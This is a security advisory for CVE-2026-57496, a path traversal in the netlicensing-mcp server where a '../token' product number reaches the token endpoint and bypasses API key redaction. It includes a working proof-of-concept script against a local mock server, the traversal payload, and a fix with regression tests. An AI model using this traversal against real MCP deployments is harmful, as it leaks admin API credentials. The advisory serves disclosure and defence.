Advisory

GHSA-hxpf-9xvq-wph8

Also known as: CVE-2026-57496, PYSEC-2026-3489

Summary

netlicensing-mcp: REST Path Traversal Bypasses Token Redaction

Details

Summary

The netlicensing_get_product MCP tool in netlicensing-mcp interpolates a caller-controlled product_number argument directly into a REST URL path without any validation. Passing ../token as the product number causes httpx to normalize /product/../token into /token, silently redirecting the request to the NetLicensing token endpoint instead of the intended product endpoint. The response is then serialized through the generic _wrap_json wrapper rather than the token-specific _wrap_json_token_read wrapper, bypassing all APIKEY number and SHOP shopURL redaction. An authenticated MCP client can recover plaintext API key values that the token read tools intentionally mask, including admin-level APIKEY credentials.

Details

The vulnerability is a path traversal (CWE-22) that exploits the interaction between unsanitized string interpolation and httpx's WHATWG URL normalization.

Source — `src/netlicensing_mcp/tools/products.py:22`

async def get_product(product_number: str) -> dict:
    """Get a single product by its number."""
    return strip_output_fields(await nl_get(f"/product/{product_number}"))

product_number is inserted directly into the REST path with no validation. A value of ../token produces the path /product/../token.

Sink — `src/netlicensing_mcp/client.py:143`

async def nl_get(path: str, params: dict[str, str] | None = None) -> dict[str, Any]:
    client = _get_client()
    url = f"{BASE_URL}{path}"
    ...
    r = await client.get(url, headers=_headers(), params=params or {})

httpx constructs the full URL as {BASE_URL}/product/../token and, per WHATWG URL normalization rules applied to absolute URLs, resolves it to {BASE_URL}/token. The HTTP request is therefore sent to the NetLicensing /core/v2/rest/token endpoint.

Redaction bypass — `src/netlicensing_mcp/server.py:336` and `src/netlicensing_mcp/redaction.py:180-239`

The tool handler wraps the response via _wrap_json(entity, "Product"), which calls only the generic _json() redaction. The token-specific path _wrap_json_token_read() → redact_token_read() is never invoked. The function redact_token_read() at redaction.py:180-239 is the only code that masks APIKEY number and SHOP shopURL fields; because it is not on this code path, the raw API key value is returned verbatim in the MCP tool output.

Complete data flow:

  1. server.py:312-321 — MCP dispatcher receives attacker-controlled product_number and calls products.get_product(product_number).
  2. tools/products.py:22 — value interpolated into f"/product/{product_number}" without validation.
  3. client.py:143 — url = f"{BASE_URL}{path}"; httpx normalizes ../ and sends request to /token endpoint.
  4. server.py:336 — response wrapped as "Product" via _wrap_json, not _wrap_json_token_read.
  5. server.py:160-165 — generic _json() redaction applies only default-field masking.
  6. redaction.py:180-239 — redact_token_read() with APIKEY/SHOP-specific masking is never reached.

PoC

Prerequisites

  • Python 3.10+
  • netlicensing-mcp 0.1.5 (or local commit c8a3fec) installed or available via PYTHONPATH
  • httpx, python-dotenv, mcp[cli] installed

Option A — Docker (recommended, reproduces Phase 2 result)

# Build from the repository root (requires repo/ and vuln-001/ directories)
docker build -t netlicensing-vuln-001 \
  -f vuln-001/Dockerfile \
  reports/pypiAi_1561_Labs64__NetLicensing-MCP/

# Run — exit code 0 confirms the vulnerability
docker run --rm netlicensing-vuln-001

Option B — Direct Python

cd /path/to/Labs64__NetLicensing-MCP
PYTHONPATH=src python3 - <<'PY'
import asyncio, json, threading
from http.server import BaseHTTPRequestHandler, HTTPServer

seen = []
secret = "actual-api-key-value-5678"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        seen.append(self.path)
        if self.path.endswith("/token"):
            body = {"items":{"item":[{"type":"Token","property":[
                {"name":"number","value":secret},
                {"name":"tokenType","value":"APIKEY"},
                {"name":"role","value":"ROLE_APIKEY_ADMIN"},
                {"name":"active","value":"true"}
            ]}]}}
            data = json.dumps(body).encode()
            self.send_response(200)
            self.send_header("Content-Type","application/json")
            self.send_header("Content-Length",str(len(data)))
            self.end_headers()
            self.wfile.write(data)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *args): pass

srv = HTTPServer(("127.0.0.1", 0), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()

async def main():
    import netlicensing_mcp.client as c
    c.BASE_URL = f"http://127.0.0.1:{srv.server_port}/core/v2/rest"
    tok = c.api_key_ctx.set("dummy")
    try:
        from netlicensing_mcp.server import netlicensing_get_product
        out = await netlicensing_get_product("../token")
        print("UPSTREAM_PATH=" + seen[0])
        print("SECRET_LEAKED=" + str(secret in out))
        print(out)
    finally:
        c.api_key_ctx.reset(tok)
        await c.close_client()
        srv.shutdown()

asyncio.run(main())
PY

Expected output

UPSTREAM_PATH=/core/v2/rest/token
PATH_TRAVERSAL_OK=True
SECRET_LEAKED=True

=== MCP tool output (netlicensing_get_product('../token')) ===
{
  "number": "actual-api-key-value-5678",
  "tokenType": "APIKEY",
  "role": "ROLE_APIKEY_ADMIN",
  "active": true,
  "type": "Token",
  "console_url": "https://ui.netlicensing.io/#/tokens/actual-api-key-value-5678",
  "warnings": [],
  "suggested_actions": []
}
[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint and plaintext secret 'actual-api-key-value-5678' is present in MCP output

The number field contains the raw API key value and console_url embeds it in plaintext — both fields that redact_token_read() would otherwise mask.

Remediation

Add a centralized path-segment validator in client.py and call it from all HTTP helper functions (nl_get, nl_post, nl_put, nl_delete):

+from urllib.parse import unquote
+
+def _validated_path(path: str) -> str:
+    if not path.startswith("/"):
+        raise NetLicensingError(400, "Internal error: upstream path must start with '/'")
+    for segment in path.split("/"):
+        decoded = unquote(segment)
+        if decoded in {".", ".."} or "/" in decoded or "\\" in decoded:
+            raise NetLicensingError(400, "Invalid identifier: path separators are not allowed")
+        if any(ord(ch) < 32 for ch in decoded):
+            raise NetLicensingError(400, "Invalid identifier: control characters are not allowed")
+    return path
+
 async def nl_get(path: str, ...) -> dict[str, Any]:
-    url = f"{BASE_URL}{path}"
+    url = f"{BASE_URL}{_validated_path(path)}"

Apply the same change to nl_post, nl_put, and nl_delete. Add regression tests for inputs ../token, %2e%2e, %2f, and x/y.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-06-18 17:22 UTC
Modified
2026-10-15 18:45 UTC

Affected packages and fixes

netlicensing-mcp

PyPI · All systems

Affected

  • introduced 0, fixed 0.1.8 (ecosystem)

Fixed versions

0.1.8

Fix

  • Fixed version 0.1.8
    pip install --upgrade netlicensing-mcp==0.1.8

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences